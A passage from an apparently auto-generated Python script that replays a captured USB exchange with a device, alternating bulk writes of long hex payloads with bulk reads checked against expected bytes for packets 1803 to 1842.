b\"\\x88\\x0B\\xE8\\xDC\\x1B\\x0A\\x0B\\x8A\\x9C\\xB8\\xE4\\xDA\\x1B\\xC0\\xCF\\xC5\"\n b\"\\x09\\x2C\\x6A\\xE7\\x0B\\x6D\\xF5\\xC2\\xE0\\x64\\x34\\xB6\\xBC\\x0D\\x9D\\x42\"\n b\"\\xF4\\x7C\\xF7\\x91\\x25\\x7B\\xFF\\x7D\\x83\\x0F\\xE1\\x90\\x0D\\xDE\\x7E\\x36\"\n b\"\\x5B\\xA1\\xD6\\x54\\x08\\x08\\x9B\\x7F\\xC3\\xEB\\x8E\\xA4\\xE8\\x47\\xE8\\xF1\"\n b\"\\xF6\\xC6\\xE5\\x26\\xE5\\x8F\\xF7\\x6A\\xED\\x2B\\x81\\xD2\\x0B\\x96\\xE3\\x80\"\n b\"\\xFE\\x11\\xA6\\x27\\x2C\\x05\\x16\\xAF\\x8B\\x66\\x4D\\x12\\x84\\x50\\xD4\\x31\"\n b\"\\x22\\xB8\\x1D\\x96\\xA8\\x8E\\xE2\\x16\\xDC\\xB4\\xFC\\xE4\\x9B\\x2E\\xD0\\xBF\"\n b\"\\x30\\xFB\\x10\\xAB\\xC5\\x50\\x5C\\x43\\xB6\\x0D\\x1D\\x3B\\xC7\\xAD\\xC9\\x9C\"\n b\"\\x3A\\x5B\\xEC\\xD0\\x56\\x4B\\x75\\x8C\\x6B\\x34\\x19\\xC6\")\n # Generated from packet 1803/1804\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1803/1804\")\n # Generated from packet 1805/1806\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x19\\xFF\\x1C\\xC9\\xE7\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6D\\x47\\xF2\\x82\\x77\\x9D\\x0B\\x0B\"\n b\"\\xBD\\xEF\\x15\\xCC\\x50\\x33\\x46\\x5F\\x81\\xAB\\xB6\\xF6\\x8F\\x9F\\xDD\\xC3\"\n b\"\\x1E\\xA3\\x6E\\x96\\xC2\\xE8\\xC7\\xCF\\xE3\\x07\\xE7\\xFC\\xAA\\x32\\x34\\x0A\"\n b\"\\xA2\\xBE\\xCA\\xA4\\xF3\\xE7\\x83\\x53\\xCF\\x42\\x8E\\x1A\\xF0\\xB7\\xDF\\x1D\"\n b\"\\x25\\x80\\xB0\\x51\\x03\\x42\\x81\\x11\\x15\\xFE\\x5D\\xD6\\x30\\x7E\\x30\\x16\"\n b\"\\x28\\xDF\\x18\\xAB\\x56\\x39\\xFD\\x9F\\x26\\x99\\x7C\\x2F\\x4B\\x78\\x72\\x9C\"\n b\"\\x32\\x7D\\xB1\\x20\\x0B\\x00\\xB8\\xB9\\x71\\x22\\x68\\x2E\\xF0\\x84\\xE3\\x6C\"\n b\"\\xE0\\x7D\\x05\\xE1\\x48\\x21\\x01\\x9E\\xEF\\xF0\\x94\\x48\\xD6\\x06\\x13\\x6A\"\n b\"\\x6D\\x30\\x45\\xC1\\xBC\\xC1\\x48\\x74\\xC6\\x5E\\x56\\x83\\xC7\\xAE\\x72\\x90\"\n b\"\\xFD\\x85\\x9D\\xF3\\xC1\\x30\\x77\\x88\\x2C\\x08\\x57\\xDB\\xAF\\x9B\\x3E\\x72\"\n b\"\\xA0\\x58\\xC0\\xDB\\xE2\\x1D\\xFF\\x49\\xEE\\xCA\\x80\\x40\\x4F\\xDA\\xF3\\x30\"\n b\"\\xE6\\x93\\x66\\x05\\x1F\\xAC\\xCA\\x0B\\x99\\x7F\\xD4\\x4A\\x72\\x3B\\x42\\xAE\"\n b\"\\x4C\\xDA\\xCE\\xC9\\xD6\\xC3\\xA3\\x6C\\xF3\\x7A\\xAA\\x62\\x56\\xD4\\x3B\\x3E\"\n b\"\\x71\\xE3\\x3D\\x98\\xC0\\x1C\\x8C\\xAE\\xBE\\x71\\x4B\\x1F\\x6B\\x49\\x8A\\xB6\"\n b\"\\xEC\\xB8\\x3F\\x57\\x95\\xAE\\x96\\x64\\xC9\\x45\\xCB\\x1E\\x85\\xE1\\x42\\x2E\"\n b\"\\x82\\xC7\\xE6\\x8F\\x42\\x78\\x8F\\x13\\x9B\\x91\\x81\\xF3\\x15\\xC8\\x6F\\xF3\"\n b\"\\xA3\\x58\\x46\\x34\\xE4\\x2A\\xEC\\xB0\\x12\\x1C\\x65\\x29\")\n # Generated from packet 1807/1808\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1807/1808\")\n # Generated from packet 1809/1810\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAB\\x20\\x21\\xF0\\x2C\\x21\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x69\\x73\\x8D\\xE2\\xE6\\x8B\\xD4\\x20\"\n b\"\\x98\\x40\\xA5\\x2D\\xD7\\x63\\x23\\xFE\\xE0\\x8C\\x7C\\xD4\\x39\\xB6\\xC6\\x7F\"\n b\"\\x7F\\x4F\\xC9\\xEF\\x90\\xE3\\xCE\\x09\\x08\\xA3\\xA0\\x15\\xD3\\xBE\\xF0\\x90\"\n b\"\\xE2\\x9C\\x74\\x90\\xFD\\xAC\\x03\\x09\\x21\\x6E\\x79\\x6E\\x63\\xDB\\x05\\xC1\"\n b\"\\x79\\x9B\\xFB\\xB6\\xD2\\x40\\x97\\x17\\x74\\xB1\\x5E\\x8E\\xA1\\x88\\xDA\\x31\"\n b\"\\x4C\\x81\\xD0\\xF7\\xFB\\x81\\x2B\\xD6\\x11\\xF8\\xB2\\xD0\\x25\\x4F\\x12\\x0F\"\n b\"\\x42\\x50\\xFA\\x5F\\xF7\\x4A\\xA8\\xD0\\x34\\x90\\x8E\\xDE\\x0A\\x22\\x9D\\x58\"\n b\"\\xD7\\x7C\\xA5\\xB3\\xEE\\xB6\\xCF\\x6C\\x25\\xF8\\x7A\\x3C\\xCA\\x81\\x60\\x8F\"\n b\"\\x7A\\xCE\\x43\\xCD\\xEB\\x97\\x60\\x5E\\x9D\\x38\\x31\\xB6\\x57\\xC8\\x77\\x5D\"\n b\"\\xA8\\xA9\\x01\\x66\\xFC\\x18\\x05\\xF2\\x6D\\x35\\xE9\\x12\\x72\\xF1\\x95\\xA8\"\n b\"\\x74\\xA8\\x1D\\x30\\x67\\xAB\\x4B\\x0B\\xCF\\x7F\\x00\\xB6\\x95\\xC0\\x29\\xDF\"\n b\"\\xEC\\xCC\\x96\\x64\\xAC\\xA2\\x32\\x06\\x22\\x33\\xA1\\x66\\x57\\x2E\\xAB\\x25\"\n b\"\\x84\\xD4\\x10\\xB1\\xF6\\x30\\x4C\\x43\\xD7\\x88\\xF0\\x51\\x56\\x29\\x6D\\x34\"\n b\"\\x3C\\xF0\\xB1\\x74\\x4F\\xD9\\x1F\\x6E\\xFA\\xEC\\x5F\\x03\\x57\\x2D\\xA7\\xFE\"\n b\"\\xD8\\x16\\x59\\x14\\x59\\x1A\\x83\\xB2\\xA9\\xA6\\x11\\xD4\\xD2\\x95\\x87\\xD4\"\n b\"\\xAC\\xD7\\x70\\xC5\\x6A\\x4A\\x16\\x59\\x56\\x99\\x08\\x71\\x77\\x32\\x33\\xF7\"\n b\"\\xA4\\xCD\\x90\\xA5\\x4F\\xB4\\x1B\\x7A\\xA6\\x37\\xD2\\xC7\")\n # Generated from packet 1811/1812\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1811/1812\")\n # Generated from packet 1813/1814\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x62\\x5C\\x87\\x66\\x8E\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEC\\xBC\\xA2\\xF4\\x84\\xD2\\x64\\x36\"\n b\"\\x72\\x4A\\xC4\\xF6\\x7F\\x7E\\x29\\x96\\xDA\\x60\\xD9\\x2B\\xA2\\x47\\xF0\\xC1\"\n b\"\\x42\\xA8\\x95\\x71\\x1F\\x95\\x2F\\xBB\\x41\\x03\\x04\\xC0\\xFB\\x60\\xE9\\xAE\"\n b\"\\xEA\\x7F\\xE4\\xED\\x57\\xBE\\xFD\\xAB\\x58\\x85\\x2C\\x65\\x34\\xBA\\x06\\xD5\"\n b\"\\xC6\\xF1\\xFC\\x6F\\xFA\\x35\\xF1\\x63\\x60\\x6A\\x16\\x72\\x34\\x22\\xE1\\x46\"\n b\"\\xF1\\x47\\xEE\\x2D\\x87\\xF7\\x72\\x68\\x14\\x95\\x51\\x23\\xE6\\xAC\\x2A\\x05\"\n b\"\\xE3\\x46\\xF3\\xC0\\xE2\\xD7\\x27\\x3B\\x6D\\xA2\\x02\\x6C\\x87\\x81\\x1E\\xE1\"\n b\"\\x6C\\x69\\x66\\xE0\\x64\\x2A\\x0D\\x2C\\x93\\x5E\\x74\\x7F\\x48\\xB3\\x2C\\x0A\"\n b\"\\x74\\xEF\\xB3\\xCE\\xEC\\xD4\\x16\\xEB\\xDF\\x2A\\x31\\x7F\\xD7\\xF4\\x79\\x86\"\n b\"\\x5A\\x10\\x18\\xEB\\x11\\x6D\\x75\\x15\\x75\\xAC\\xCC\\x32\\xD0\\x92\\x42\\x34\"\n b\"\\xBA\\x89\\x9E\\x50\\x12\\x2B\\x93\\xA6\\xDE\\x13\\xDF\\xFE\\x92\\xCC\\x74\\x77\"\n b\"\\x30\\x52\\x98\\xEF\\xC7\\xC8\\x0B\\x4B\\x9E\\x6C\\x22\\x5B\\xC7\\xBA\\x7F\\x14\"\n b\"\\x8A\\x20\\x61\\xC8\\xC9\\xEE\\x50\\x03\\x4D\\x7A\\x67\\xC6\\xF7\\x50\\x6C\\x82\"\n b\"\\xF3\\x46\\xB5\\xDB\\x6D\\x1A\\x98\\x3D\\xC7\\xDD\\x58\\xBC\\x12\\x76\\xE1\\xD6\"\n b\"\\x44\\xA8\\x2A\\x63\\x84\\xC7\\xE0\\xBF\\x18\\x2B\\x87\\x26\\xA2\\x71\\x33\\xD3\"\n b\"\\x90\\x54\\x96\\x53\\x04\\x7D\\x78\\x55\\x82\\xF0\\x58\\x64\\xDB\\x14\\xE3\\xDB\"\n b\"\\x3E\\x35\\xCD\\x2B\\x0C\\xBC\\xAC\\x7A\\xD2\\x19\\xFF\\x70\")\n # Generated from packet 1815/1816\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1815/1816\")\n # Generated from packet 1817/1818\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF8\\xCF\\x69\\x06\\x46\\x43\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF3\\xB1\\x49\\x57\\xB9\\x9D\\xD1\\x32\"\n b\"\\x9D\\x0E\\x87\\x81\\xE8\\x06\\x9E\\x7C\\xD2\\xED\\x12\\x64\\x0E\\xFF\\x2A\\x58\"\n b\"\\x1B\\xBB\\x4D\\xE5\\x3B\\x77\\xB6\\x24\\xE5\\x31\\xE5\\x7E\\x8B\\xBD\\x1E\\x7E\"\n b\"\\xC6\\x0E\\x12\\xEA\\x3E\\xE3\\xB5\\xB9\\x87\\xEA\\x82\\x45\\xCF\\x95\\x27\\x98\"\n b\"\\xB1\\xBD\\x08\\x8A\\x15\\x2A\\x0E\\xFC\\x87\\x9C\\xAD\\xFA\\x20\\x8C\\x95\\x04\"\n b\"\\xBC\\x2C\\xBA\\xF9\\x85\\x1D\\xB8\\xEE\\xF1\\xB3\\x67\\xD2\\xC1\\xF8\\x76\\xB2\"\n b\"\\x31\\x92\\x97\\x20\\x29\\xE2\\xE0\\x6B\\xF7\\x43\\x7F\\xDE\\xF8\\x18\\xC4\\x1E\"\n b\"\\xB1\\x8E\\x99\\xB5\\xAE\\xDE\\xDB\\xCA\\x0F\\x4F\\xA2\\xA6\\x6C\\x1F\\x2E\\xD4\"\n b\"\\xB6\\x51\\x79\\x2D\\xCA\\x20\\x10\\xAB\\xAB\\x97\\xCC\\x43\\x9A\\xC4\\xF0\\x53\"\n b\"\\x11\\xE9\\x84\\x2C\\x72\\xBC\\xB1\\x78\\xCD\\x45\\xDD\\x6C\\x97\\x08\\x12\\x32\"\n b\"\\xBC\\xA6\\x6A\\x5A\\x77\\x4D\\xD6\\xBE\\x86\\x19\\x03\\x2B\\x67\\xEA\\x46\\x22\"\n b\"\\x28\\x7E\\xC1\\xBE\\xE2\\x83\\x1C\\xA1\\xCC\\x6A\\x22\\x76\\x79\\x9B\\xC0\\x70\"\n b\"\\x79\\xD0\\x37\\x5F\\xB4\\xB2\\x38\\xF6\\xE3\\xF0\\xDD\\x89\\xD2\\xE8\\x06\\x6F\"\n b\"\\xFA\\x18\\xF0\\xDE\\x62\\xB0\\x33\\xF5\\x34\\x72\\x9A\\x60\\x18\\x56\\xE9\\xB2\"\n b\"\\x5C\\x46\\xC5\\xE9\\x4B\\x3D\\x6A\\x20\\xC3\\x68\\x68\\x95\\x1D\\x57\\xD5\\x49\"\n b\"\\xDA\\xC3\\x28\\x71\\xAF\\x0B\\xA6\\x54\\xE1\\xE9\\x81\\x0C\\x53\\x81\\x4D\\x75\"\n b\"\\x99\\xCA\\xEE\\x65\\xC8\\x7B\\xD6\\x97\\xEB\\x53\\x3F\\xBC\")\n # Generated from packet 1819/1820\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1819/1820\")\n # Generated from packet 1821/1822\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAB\\x64\\x47\\xAB\\x36\\x7A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB0\\x3E\\x8E\\x61\\x2C\\x68\\xBA\\xA6\"\n b\"\\xFD\\x91\\x3E\\x88\\xB3\\x6E\\xB0\\xDF\\x36\\x13\\x91\\x8A\\x83\\xBA\\x4A\\xF3\"\n b\"\\x1A\\xAA\\xE6\\x91\\x55\\xB1\\xBA\\x9C\\xC0\\x3B\\x24\\x72\\x7D\\xE8\\xEF\\xAD\"\n b\"\\x5A\\xEE\\xB6\\x57\\xD0\\xC4\\xC6\\x4B\\x44\\x18\\xB4\\x15\\xB3\\x53\\x98\\xC0\"\n b\"\\x78\\x25\\x05\\x1E\\x3C\\xDC\\x5B\\xAE\\x68\\x0A\\x44\\x81\\x06\\x06\\x4A\\x65\"\n b\"\\x90\\xC6\\xA6\\x2A\\x95\\xCB\\xA5\\xB1\\x12\\x39\\x8A\\xB3\\xB6\\xED\\x52\\x00\"\n b\"\\xA1\\x90\\x37\\xD4\\xD0\\xB0\\xD1\\x97\\xF7\\x1E\\x90\\xD5\\x30\\x7D\\xFE\\x4C\"\n b\"\\x0E\\x6D\\xE2\\xC5\\xFF\\xBE\\x1D\\x95\\x86\\x97\\x25\\x5A\\x84\\xE2\\xAC\\x83\"\n b\"\\x85\\x1B\\xE3\\x69\\x37\\xE9\\xAC\\xBB\\x45\\x01\\xE9\\xDA\\x2D\\x94\\x36\\x48\"\n b\"\\xC1\\x16\\x06\\x2B\\x74\\x92\\xF2\\x3C\\xF2\\x14\\x00\\x9B\\xCB\\x1B\\xC1\\x20\"\n b\"\\x69\\x05\\xD5\\xFE\\xB4\\x2F\\x51\\xCA\\x54\\xE3\\x7A\\xB4\\x4E\\xED\\x8D\\xCE\"\n b\"\\x21\\xB0\\xA4\\x92\\x2D\\xCA\\xC3\\xFF\\xCC\\x46\\x36\\x4E\\x24\\x99\\xA8\\x70\"\n b\"\\x2E\\x59\\x18\\x63\\x5A\\xCF\\xC2\\xDF\\x57\\x60\\x23\\x21\\xCB\\x65\\x9E\\xB0\"\n b\"\\xFD\\x95\\x05\\xD0\\xB0\\x76\\x0D\\xFD\\x11\\x34\\x12\\xBE\\x00\\xF3\\x56\\x85\"\n b\"\\x1B\\x60\\xFB\\xC6\\x0E\\xA5\\xA5\\xE1\\x64\\x23\\x7D\\x24\\x61\\xE7\\xA6\\xF9\"\n b\"\\x0A\\x00\\x4D\\xF7\\x4F\\x08\\x49\\xAE\\x0D\\x91\\x10\\xCC\\xCF\\x5D\\xEA\\xAF\"\n b\"\\x63\\x57\\x33\\x09\\xED\\x07\\x90\\x5E\\x83\\x6B\\x50\\xAB\")\n # Generated from packet 1823/1824\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1823/1824\")\n # Generated from packet 1825/1826\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDA\\x4A\\x37\\x23\\x08\\x33\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x86\\x0D\\x94\\x75\\x50\\xF5\\xC1\\x68\"\n b\"\\x2D\\x16\\x5D\\xE7\\x5F\\x7C\\xED\\xFD\\xE9\\xE8\\x5C\\x01\\x0F\\x2D\\xDA\\x27\"\n b\"\\x85\\x22\\x65\\x44\\x19\\x7A\\x79\\x0E\\xBA\\x14\\x6E\\x12\\x43\\xF0\\xB4\\x78\"\n b\"\\x43\\x5D\\x5A\\x7F\\xEE\\xB1\\xFC\\xCF\\xF2\\xAF\\x41\\x5A\\xE9\\x2B\\x43\\xCB\"\n b\"\\x8B\\xBF\\x78\\xB4\\x92\\x28\\x5F\\xB4\\xC0\\xBF\\x62\\x4A\\x21\\xA8\\x4A\\x37\"\n b\"\\x32\\xBF\\x46\\x7E\\x08\\x11\\x9B\\x4E\\x40\\x10\\x81\\x2D\\x02\\x4C\\x08\\x76\"\n b\"\\x65\\x94\\x94\\x0F\\x34\\x12\\x58\\xA6\\xE7\\x1A\\xB7\\xB7\\xFE\\x1E\\x89\\x08\"\n b\"\\x5E\\xC3\\x60\\x3F\\x36\\x91\\xCB\\x6D\\xE4\\x1C\\x04\\xDF\\xC2\\x10\\x24\\x05\"\n b\"\\xD1\\xB0\\xB0\\x19\\xF6\\x77\\x9D\\x22\\xFE\\x2B\\x23\\xBC\\xE4\\xF6\\x04\\xC5\"\n b\"\\xEE\\x5B\\x65\\x2E\\x90\\x3A\\x49\\x7B\\x61\\x2C\\xCD\\x4D\\x94\\x6C\\xB1\\x31\"\n b\"\\x2B\\x06\\x8A\\xDD\\x71\\x88\\x8F\\xFC\\x24\\xAC\\x28\\x28\\xE8\\x74\\x7F\\x05\"\n b\"\\x41\\xF6\\x04\\x16\\xC2\\x9F\\xE2\\x05\\xFE\\x78\\x5A\\x99\\xE4\\x49\\x38\\xD7\"\n b\"\\x89\\xF3\\xF9\\xE8\\xAA\\xD9\\x65\\x1C\\x47\\x91\\xD2\\x2F\\xA0\\x02\\xD4\\x22\"\n b\"\\x2A\\x43\\x80\\xF0\\x11\\xD5\\x75\\xFD\\xCD\\x25\\x51\\xAC\\xF1\\x35\\xD5\\xE4\"\n b\"\\x85\\x4A\\xBB\\xD4\\xB0\\x1E\\x09\\x88\\xDC\\x0A\\x5E\\x60\\x13\\x54\\x78\\x6B\"\n b\"\\x7B\\x3C\\x61\\x81\\xEB\\x49\\xE8\\x92\\xD4\\x47\\x2C\\x22\\x9A\\x8C\\x94\\xE9\"\n b\"\\x4A\\x60\\xB5\\x53\\xB3\\x13\\x04\\x16\\xE6\\xCA\\xE9\\xB1\")\n # Generated from packet 1827/1828\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1827/1828\")\n # Generated from packet 1829/1830\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEA\\x7B\\x2B\\xCB\\xDC\\x1E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1E\\xDE\\x8E\\x85\\xD9\\x87\\x7A\\xDE\"\n b\"\\x92\\x50\\xEB\\x02\\xF2\\x2E\\xDF\\x6C\\x1E\\xFF\\xCE\\x5B\\x62\\xD6\\x45\\x9F\"\n b\"\\x25\\x5B\\x62\\x3A\\xC7\\x87\\x1A\\xB3\\x79\\xBE\\x64\\x35\\x21\\x9C\\x92\\x62\"\n b\"\\xC7\\x81\\xEA\\x1F\\x5A\\x60\\xE0\\x50\\xFF\\x78\\xCB\\x25\\xE7\\x51\\x82\\x4E\"\n b\"\\x62\\x04\\xFB\\xDB\\xA9\\x21\\x98\\xF5\\x54\\x1F\\x39\\x33\\xB3\\xA7\\x10\\x6B\"\n b\"\\x2D\\x50\\xFF\\x5C\\x8D\\x47\\x5E\\x3F\\x89\\x8D\\x85\\x3B\\xEA\\x2E\\x4F\\x04\"\n b\"\\x16\\x9B\\x2A\\xA1\\x4B\\xA5\\x08\\xEA\\x07\\x96\\x68\\x85\\x58\\x3C\\x16\\xAF\"\n b\"\\xB4\\xD3\\x61\\x5C\\x87\\xAA\\xAB\\x0A\\x93\\xA0\\xFD\\xF1\\xE0\\x85\\x43\\x7B\"\n b\"\\x51\\x92\\x8F\\x0A\\x2D\\x4E\\x07\\x0F\\x6B\\xEF\\xA4\\x35\\xD0\\xD1\\x59\\x84\"\n b\"\\x81\\x97\\xFD\\x14\\x28\\x67\\x1F\\x27\\x00\\xCD\\x71\\x6A\\xFE\\xB8\\x6F\\xC8\"\n b\"\\x92\\xDC\\xAC\\x5C\\x23\\x77\\x9C\\x1F\\x1E\\xD5\\x46\\xAF\\xB0\\x46\\x85\\xB6\"\n b\"\\x99\\x0F\\x55\\xBA\\x92\\x45\\x93\\x1C\\x3B\\xCA\\xF4\\xE0\\xF8\\xB4\\xE3\\x00\"\n b\"\\xD8\\x68\\x60\\xAA\\x5E\\xB6\\xCB\\x4D\\x4E\\x76\\x23\\xDE\\xBD\\x33\\x96\\xB1\"\n b\"\\xFA\\xB9\\xD5\\x31\\x21\\xA8\\x38\\x2F\\x66\\x31\\xFD\\x32\\xE8\\xD0\\xA8\\xF3\"\n b\"\\xF5\\x48\\xEC\\xAA\\xA9\\x41\\x0D\\xE2\\x19\\x90\\x5A\\x17\\x67\\x8D\\xC0\\xE9\"\n b\"\\x96\\x90\\x5D\\x66\\x54\\xC9\\xFF\\x81\\x56\\xC3\\x36\\xE7\\xA7\\xD3\\x56\\x6D\"\n b\"\\x56\\x56\\xEF\\x93\\xE7\\x11\\xAC\\xEA\\x35\\x25\\xAA\\xCC\")\n # Generated from packet 1831/1832\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1831/1832\")\n # Generated from packet 1833/1834\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9E\\x94\\xD7\\xD4\\xF3\\x4A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xCA\\x82\\xD3\\x3A\\xE2\\xA1\\x87\\x0B\"\n b\"\\x33\\x24\\x34\\xAB\\xCE\\x99\\xBA\\x7B\\x56\\xB9\\x64\\x3B\\x13\\xF6\\xC9\\x30\"\n b\"\\xF1\\x7C\\x2F\\x5C\\x5C\\x36\\xAF\\x56\\x94\\xD8\\x43\\x8E\\x1C\\xDA\\x10\\x83\"\n b\"\\x62\\x43\\xAD\\x7F\\x82\\xDF\\xA1\\x53\\x7F\\x16\\xEA\\xF5\\xE3\\x87\\xCE\\x70\"\n b\"\\xB7\\x79\\x1C\\xD0\\x0B\\x78\\x37\\x0F\\x3C\\x4A\\x47\\x87\\x22\\x1F\\xD7\\x7D\"\n b\"\\x3A\\xAF\\x3B\\xAC\\xD5\\x8F\\x55\\xA6\\xC3\\x2E\\x43\\xC2\\xEF\\x2A\\x5F\\xB9\"\n b\"\\x6F\\x46\\x35\\x6C\\x30\\x29\\xF3\\x7C\\x8E\\x53\\x6B\\x48\\x2D\\x0A\\x12\\x15\"\n b\"\\xA5\\x93\\xB8\\x69\\x31\\x6E\\x31\\x97\\xB2\\x0E\\x90\\x81\\x34\\xB2\\x45\\x7A\"\n b\"\\x90\\x24\\xFF\\x3B\\xD5\\x43\\x99\\xC9\\x7D\\x39\\x47\\xE8\\x88\\x7C\\x9A\\x6C\"\n b\"\\x63\\x53\\x17\\xFC\\x5F\\x18\\x7D\\x92\\xD5\\xFD\\x8A\\x06\\xBC\\xE5\\x6C\\xC5\"\n b\"\\x90\\x90\\x29\\x4D\\xAF\\x3D\\x27\\x9E\\x46\\xA6\\xFB\\x76\\x11\\x8B\\x0F\\xF8\"\n b\"\\x10\\x25\\x1E\\xEF\\xD8\\x7E\\x88\\x1C\\x8F\\xDA\\x64\\x3E\\xFF\\x65\\xE9\\x3D\"\n b\"\\x45\\xF5\\x83\\x66\\x3B\\xDC\\xBC\\xB5\\x8A\\x0E\\x7C\\x7F\\xF6\\x68\\x5F\\x05\"\n b\"\\xAE\\xED\\x0F\\xB3\\x75\\x4E\\x42\\xF0\\xA5\\x6D\\x5D\\x43\\xC3\\xE7\\x34\\xE4\"\n b\"\\x1B\\x2B\\xAF\\x06\\x0D\\xAF\\xFD\\x13\\xC7\\x09\\xB9\\x3A\\x28\\xD8\\x38\\x5C\"\n b\"\\x5C\\x25\\x03\\x9E\\xCB\\x69\\xC8\\xBD\\xD2\\xCB\\x46\\x28\\x4B\\x6D\\x89\\x96\"\n b\"\\x21\\xF3\\x72\\x8D\\x05\\x47\\x59\\xA7\\xD1\\xD3\\x9A\\x70\")\n # Generated from packet 1835/1836\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1835/1836\")\n # Generated from packet 1837/1838\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7A\\xD9\\x00\\x6A\\xA8\\x20\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE9\\x96\\x3B\\x9C\\xF7\\x63\\xAA\\xCA\"\n b\"\\x33\\x7C\\x64\\x42\\x36\\x5A\\x7D\\x55\\x99\\x8B\\x94\\x47\\x92\\xBA\\x3A\\x44\"\n b\"\\xC7\\x13\\x97\\xBD\\xAF\\xF0\\xFE\\x8C\\xE5\\x46\\x97\\x1A\\xF4\\x35\\x61\\xA8\"\n b\"\\x2B\\x21\\x94\\x99\\x88\\x5D\\x22\\xCB\\xD3\\x35\\x78\\x94\\xBD\\x0F\\x8F\\xF4\"\n b\"\\xD0\\x72\\xD4\\x1B\\x86\\xA0\\x68\\x45\\x84\\xC3\\xEA\\x7C\\xF0\\xF1\\xB4\\xA5\"\n b\"\\xE4\\x73\\xF3\\x34\\x8F\\x79\\xCC\\xE4\\x4E\\xBF\\xBF\\x6D\\xDF\\x1C\\x78\\x47\"\n b\"\\x84\\xDE\\xE5\\xD2\\xB1\\x90\\xA5\\x0B\\x46\\x5C\\x2C\\xF6\\xB6\\xA0\\xD7\\xBB\"\n b\"\\x29\\xA7\\x79\\x43\\xFE\\xD3\\xF5\\x97\\xC0\\x55\\x2D\\x43\\xA7\\xC7\\x13\\xC1\"\n b\"\\xD5\\x7F\\xF5\\x3B\\xB7\\xD8\\xF1\\x0D\\xA2\\xC6\\x99\\x4E\\x56\\xD0\\x51\\x40\"\n b\"\\xBE\\xF1\\x39\\x41\\x77\\x96\\xB0\\x17\\xA4\\x6F\\x5D\\xE2\\x69\\xA1\\xD8\\xBA\"\n b\"\\x29\\x28\\x26\\xCF\\xEB\\xF8\\x0D\\xF0\\xC3\\x2F\\xCA\\x45\\xB6\\xCD\\x0D\\xC2\"\n b\"\\xD6\\x96\\x5D\\x81\\x80\\x16\\x39\\x34\\xA7\\x2E\\x7F\\x55\\x45\\xD4\\x0D\\x9C\"\n b\"\\x3C\\x98\\x1F\\x34\\x67\\xB8\\x1F\\x1E\\x4D\\x2B\\x5F\\x1B\\xDC\\x46\\x9C\\xA1\"\n b\"\\x52\\xEE\\xDA\\x17\\x44\\x50\\x40\\x5F\\x99\\xBB\\x5A\\xA8\\xA4\\x85\\xE5\\x4C\"\n b\"\\x80\\x2B\\x89\\xF5\\xD9\\xFB\\x52\\x9F\\x18\\x47\\xAC\\x8F\\x55\\xFE\\x9B\\xAA\"\n b\"\\x46\\xA8\\x06\\x36\\x88\\xAA\\x9F\\xE6\\xB4\\x58\\x73\\xCF\\xC3\\x80\\x83\\x8B\"\n b\"\\xDB\\xAC\\x9A\\xCF\\xED\\x4F\\xFA\\xF7\\xBF\\xB3\\x2F\\x02\")\n # Generated from packet 1839/1840\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1839/1840\")\n # Generated from packet 1841/1842\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x27\\x1A\\x23\\x71\\x8D\\x57\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x39\\x09\\xB2\\xEF\\x96\\x61\\x57\\x46\"\n b\"\\x52\\x79\\x23\\x81\\x86\\x4E\\x49\\x62\\xE0\\xF9\\xA0\\xEB\\x65\\x82\\x73\\x16\"\n 